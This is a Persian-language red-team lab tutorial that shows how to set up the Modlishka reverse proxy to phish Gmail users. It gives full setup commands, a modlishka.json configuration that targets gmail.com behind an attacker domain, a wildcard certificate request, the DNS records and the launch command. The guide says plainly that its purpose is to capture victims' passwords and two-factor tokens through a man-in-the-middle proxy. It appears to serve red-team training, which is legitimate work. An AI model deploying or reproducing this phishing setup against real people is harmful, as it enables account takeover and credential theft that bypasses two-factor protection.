اجرای حملات فیشینگ از طریق پروکسی معکوس HTTP با بهرهگیری از ابزار Modlishka
این آزمایشگاه نشان میدهد چگونه میتوان یک پروکسی معکوس HTTP بهنام Modlishka راهاندازی کرد که در کارزارهای فیشینگ برای سرقت گذرواژهها و توکنهای احراز هویت دومرحلهای (۲FA) کاربران مورد استفاده قرار میگیرد. ابزار Modlishka این امکان را فراهم میسازد، زیرا بهعنوان یک عامل مرد میانی (MITM) میان کاربر قربانی و وبسایتی که مهاجم در حال جعل هویت آن است قرار میگیرد و تمامی ترافیک، توکنها و گذرواژههایی را که از آن عبور میکنند، ثبت مینماید.
تنظیمات
ابتدا یک Droplet جدید در پلتفرم DigitalOcean ایجاد میکنیم؛ کوچکترین گزینه موجود نیز برای این منظور کاملاً کافی است.
پس از ورود به سرور، ابزار Certbot را نصب کرده و فایل اجرایی (باینری) Modlishka را دانلود کنید.
apt install certbot wget https://github.com/drk1wi/Modlishka/releases/download/v.1.1.0/Modlishka-linux-amd64 chmod +x Modlishka-linux-amd64 ; ls -lah
تنظیمات و پیکربندی ابزار Modlishka
بیایید یک فایل پیکربندی برای ابزار Modlishka ایجاد کنیم.
یک فایل json به اسم modlishka.json ایجاد کرده و کد زیر را قرار می دهیم :
{ //domain that you will be tricking your victim of visiting "proxyDomain": "redteam.me", "listeningAddress": "0.0.0.0", //domain that you want your victim to think they are visiting "target": "gmail.com", "targetResources": "", "targetRules": "PC9oZWFkPg==:", "terminateTriggers": "", "terminateRedirectUrl": "", "trackingCookie": "id", "trackingParam": "id", "jsRules":"", "forceHTTPS": false, "forceHTTP": false, "dynamicMode": false, "debug": true, "logPostOnly": false, "disableSecurity": false, "log": "requests.log", "plugins": "all", "cert": "", "certKey": "", "certPool": "" }
نکته مهم – بیایید یک گواهی wildcard برای دامنهای که قصد داریم قربانیان حمله فیشینگ به آن هدایت شوند، ایجاد کنیم؛ برای مثال: .redteam.me*
certbot certonly --manual --preferred-challenges=dns --server https://acme-v02.api.letsencrypt.org/directory --agree-tos -d *.redteam.me --email noreply@live.com
این فرآیند یک کد چالش (Challenge Code) تولید میکند، مشابه آنچه در تصویر زیر مشاهده میشود:
میبایست یک رکورد DNS از نوع TXT در کنسول مدیریت DNS دامنه redteam.me ایجاد کنیم؛ در این مثال، مدیریت دامنه از طریق DigitalOcean انجام میشود.
پس از ایجاد رکورد TXT در DNS، روند صدور گواهی (Certificate Generation) را ادامه دهید.
پس از صدور گواهیها، باید آنها را به قالبی تبدیل کرد که قابلیت درج در ساختارهای JSON را داشته باشد.
awk '{printf "%s\\n", $0}' /etc/letsencrypt/live/redteam.me/fullchain.pem awk '{printf "%s\\n", $0}' /etc/letsencrypt/live/redteam.me/privkey.pem
پس از اتمام این مرحله، محتوای گواهیها را در فایل پیکربندی کپی نمایید؛ به این صورت که فایل fullchain.pem در بخش cert و فایل privkey.pem در بخش certKey جایگذاری شود.
رکوردهای تکمیلی DNS
اکنون یک رکورد A برای میزبان ریشه (علامت @) ایجاد میکنیم که مستقیماً به آدرس IP سرور (دراپلت) اشاره دارد.
این مرحله از اهمیت بالایی برخوردار است — باید یک رکورد CNAME برای تمام میزبانها یا زیردامنهها (با استفاده از علامت ) تعریف شود که به رکورد میزبان ریشه (@) اشاره کند.
راهاندازی Modlishka
در این مرحله، میتوانیم فرآیند تست را با راهاندازی Modlishka و استفاده از فایل پیکربندی modlishka.json آغاز کنیم.
./Modlishka-linux-amd64 -config modlishka.json
در تصویر زیر مشاهده میشود که با مراجعه به دامنه redteam.me، محتوای وبسایت gmail.com نمایش داده میشود — این موضوع نشان میدهد که Modlishka و حمله مرد میانی (MITM) بهدرستی عمل میکنند. نکته بسیار مهمی که باید بر آن تأکید شود این است که هیچ نسخه یا قالبی از وبسایت هدف ایجاد نشده است؛ بلکه قربانی در حال مرور واقعی وبسایت Gmail است. تنها تفاوت اینجاست که ترافیک کاربر از طریق Modlishka هدایت میشود، جایی که دادهها بررسی شده و اطلاعات ورود (رمز عبور) جمعآوری میگردند.